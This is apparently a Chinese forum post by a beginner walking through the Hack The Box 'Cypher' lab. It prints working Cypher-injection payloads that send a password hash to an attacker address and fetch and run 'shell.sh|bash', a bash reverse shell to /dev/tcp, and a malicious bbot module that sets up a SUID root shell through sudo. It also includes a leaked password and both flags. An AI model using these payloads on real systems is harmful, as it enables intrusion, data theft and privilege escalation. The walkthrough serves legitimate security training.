找回密码
 立即注册
首页 业界区 安全 [HTB] 靶机学习(三)Cypher

[HTB] 靶机学习(三)Cypher

铜坠匍 4 天前
[HTB] 靶机学习(三)Cypher

1.png

概要

学习hackthebox的第三天,本人为初学者,将以初学者的角度对靶机渗透进行学习,中途可能会插入一些跟实操关系不大的相关新概念的学习和解释,尽量做到详细,不跳步,所以也会有理解不正确的地方,欢迎大佬们提出指正
端口扫描
  1. nmap -sC -sV 10.10.11.57
复制代码
  1. 22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
  2. | ssh-hostkey:
  3. |   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
  4. |_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
  5. 80/tcp open  http    nginx 1.24.0 (Ubuntu)
  6. |_http-title: Did not follow redirect to http://cypher.htb/
  7. |_http-server-header: nginx/1.24.0 (Ubuntu)
  8. Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
复制代码
只开放了22和80端口,添加cypher.htb到hosts文件
目录扫描

-x 排除404
  1. dirsearch -u "http://cypher.htb/" -x 404
复制代码
2.png

子域名扫描
  1. ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200 -u http://cypher.htb -H "Host: FUZZ.cypher.htb"
复制代码
没扫到东西
cypher注入

相关语法参考:
http://jzcheng.cn/archives/710.html
https://hackmd.io/@Chivato/rkAN7Q9NY
访问http://cypher.htb,没找到什么框架版本泄露,发现了一个登录框,测试有没有sql注入
3.png

用户名输入1' or 1=1#,密码输入1,发现有报错,还没看清就消失了,直接抓包
4.png
  1. {"username":"1' or 1=1 #","password":"1"}
复制代码
可以看到拼接语句的情况
  1. "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = '1' or 1=1 #' return h.value as hash"
复制代码
并且说#不符合语法
  1. message: Invalid input '#': expected an expression
复制代码
5.png

cypher语法里//是单行注释符,/**/是多行注释符
然后尝试ssrf外带admin的hash
  1. {"username":"admin' OR 1=1  LOAD CSV FROM 'http://10.10.14.14:8888/ppp='+h.value AS y Return ''//","password":"1"}
复制代码
6.png

得到了hash值9f54ca4c130be6d529a56dee59dc2b2090e43acf
但尝试john破解无果
7.png

目录扫描的时候还有其他目录没尝试,访问http://cypher.htb/testing, 本机浏览器访问502 , 命令行curl倒是能正常访问,暂时不清楚原因,(后面发现,是同时开了tun隧道模式和系统daili,关闭系统daili即可,gpt说可能是因为同时开,浏览器的流量会被两种模式分别处理一遍,导致走错路由了,不太清楚)用kali的浏览器访问正常,然后下载文件看看
8.png

https://www.decompiler.com/
在线网站反编译一下jar包
9.png

以下是部分代码
  1. package com.cypher.neo4j.apoc;
  2. import java.io.BufferedReader;
  3. import java.io.InputStreamReader;
  4. import java.util.Arrays;
  5. import java.util.concurrent.TimeUnit;
  6. import java.util.stream.Stream;
  7. import org.neo4j.procedure.Description;
  8. import org.neo4j.procedure.Mode;
  9. import org.neo4j.procedure.Name;
  10. import org.neo4j.procedure.Procedure;
  11. public class CustomFunctions {
  12.    @Procedure(
  13.       name = "custom.getUrlStatusCode",
  14.       mode = Mode.READ
  15.    )
  16.    @Description("Returns the HTTP status code for the given URL as a string")
  17.    public Stream<CustomFunctions.StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {
  18.       if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
  19.          url = "https://" + url;
  20.       }
  21.       String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};
  22.       System.out.println("Command: " + Arrays.toString(command));
  23.       Process process = Runtime.getRuntime().exec(command);
  24.       BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
  25.       BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
  26.       StringBuilder errorOutput = new StringBuilder();
  27.       String line;
  28.       while((line = errorReader.readLine()) != null) {
  29.          errorOutput.append(line).append("\n");
  30.       }
  31.       String statusCode = inputReader.readLine();
  32.       System.out.println("Status code: " + statusCode);
复制代码
其中定义了过程,可以用call直接调用
  1. @Procedure(
  2.       name = "custom.getUrlStatusCode",
  3.       mode = Mode.READ
  4.    )
复制代码
curl -s -o /dev/null --connect-timeout 1 -w %{http_code}检测状态码
可以把 URL 拼接,然后传递给 /bin/sh 执行
需要先返回 h.value ,否则在比对密码的时候会直接报错,影响后面的执行
并且联合注入要求的两个列名必须相同,也就是 AS 后面接同样的列名
使用联合注入,调用这个 custom.getUrlStatusCode
  1. {"username":"admin' return h.value AS value  UNION CALL custom.getUrlStatusCode("127.0.0.1;curl 10.10.14.14:8888/shell.sh|bash;") YIELD statusCode AS value  RETURN value ; //","password":"1"}
复制代码
CALL 自定义存储过程必须 YIELD 出返回字段,然后才能 RETURN
我们的payload拼接后
  1. /bin/sh -c curl -s -o /dev/null --connect-timeout 1 -w %{http_code} 127.0.0.1;curl 10.10.14.14:8888/shell.sh|bash;
  2. 也就是两个语句
  3. curl -s -o /dev/null --connect-timeout 1 -w %{http_code} 127.0.0.1
  4. curl 10.10.14.14:8888/shell.sh | bash
复制代码
kali端,开启web服务
  1. python -m http.server 8888
复制代码
shell.sh内容
  1. #!/bin/bash
  2. /bin/bash -i >& /dev/tcp/10.10.14.14/3333 0>&1
复制代码
构造请求下载shell.sh,并执行
  1. POST /api/auth HTTP/1.1
  2. Host: cypher.htb
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
  4. Accept: */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/json
  8. X-Requested-With: XMLHttpRequest
  9. Content-Length: 193
  10. Origin: http://cypher.htb
  11. Connection: close
  12. Referer: http://cypher.htb/login
  13. Priority: u=0
  14. {"username":"admin' return h.value AS value  UNION CALL custom.getUrlStatusCode("127.0.0.1;curl 10.10.14.14:8888/shell.sh|bash;") YIELD statusCode AS value  RETURN value ; //","password":"1"}
复制代码
10.png

11.png

在/home/graphasm目录有user.txt,但没有权限
12.png

查看bbot_preset.yml,找到了一个密码cU4btyib.20xtCMCXkBmerhK
13.png

尝试ssh登录,登录成功,拿到第一个flag,feca887fb7fdad75b25d2897a016de80
14.png

权限提升

bbot提权

sudo -l,找到了/usr/local/bin/bbot,可以不需要输入root的密码直接执行,且执行权限是root
15.png

https://www.blacklanternsecurity.com/bbot , 官方文档
发现可以自己指定配置文件和创建新模块
16.png

找一下模块在哪个地方
  1. find / -name bbot
复制代码
17.png

找到在/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules目录
本来想在/opt/pipx/venvs/bbot/lib/python3.12/site-packages/bbot/modules目录下添加新模块,但没有写入的权限
所以要看看 custom module directory该怎么设置,创建一个my_preset.yml文件,里面写好模块的目录就行
18.png

我已经在tmp目录下创建了test目录
my_preset.yml
  1. module_dirs:
  2.   - /tmp/test
复制代码
在tmp/test目录下创建whois.py,其实就是在他给的例子上加上import os和os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash"),直接复制文档的例子的话,注意添加内容时缩进用空格而不是tab键
whois.py
  1. from bbot.modules.base import BaseModule
  2. import os
  3. class whois(BaseModule):
  4.     watched_events = ["DNS_NAME"] # watch for DNS_NAME events
  5.     produced_events = ["WHOIS"] # we produce WHOIS events
  6.     flags = ["passive", "safe"]
  7.     meta = {"description": "Query WhoisXMLAPI for WHOIS data"}
  8.     options = {"api_key": ""} # module config options
  9.     options_desc = {"api_key": "WhoisXMLAPI Key"}
  10.     per_domain_only = True # only run once per domain
  11.     base_url = "https://www.whoisxmlapi.com/whoisserver/WhoisService"
  12.     # one-time setup - runs at the beginning of the scan
  13.     async def setup(self):
  14.         os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")
  15.         self.api_key = self.config.get("api_key")
  16.         if not self.api_key:
  17.             # soft-fail if no API key is set
  18.             return None, "Must set API key"
  19.     async def handle_event(self, event):
  20.         self.hugesuccess(f"Got {event} (event.data: {event.data})")
  21.         _, domain = self.helpers.split_domain(event.data)
  22.         url = f"{self.base_url}?apiKey={self.api_key}&domainName={domain}&outputFormat=JSON"
  23.         self.hugeinfo(f"Visiting {url}")
  24.         response = await self.helpers.request(url)
  25.         if response is not None:
  26.             await self.emit_event(response.json(), "WHOIS", parent=event)
复制代码
执行模块,模块名字就是python的文件名
  1. sudo /usr/local/bin/bbot -p ./my_preset.yml -m whois
复制代码
19.png

查看tmp目录,已经成功执行
20.png

需要使用特权模式启动bash
  1. ./bash -p
  2. cat /root/root.txt
复制代码
得到第二个flag,16dae4b481c7ff0002fd4ae6da48a6be
21.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册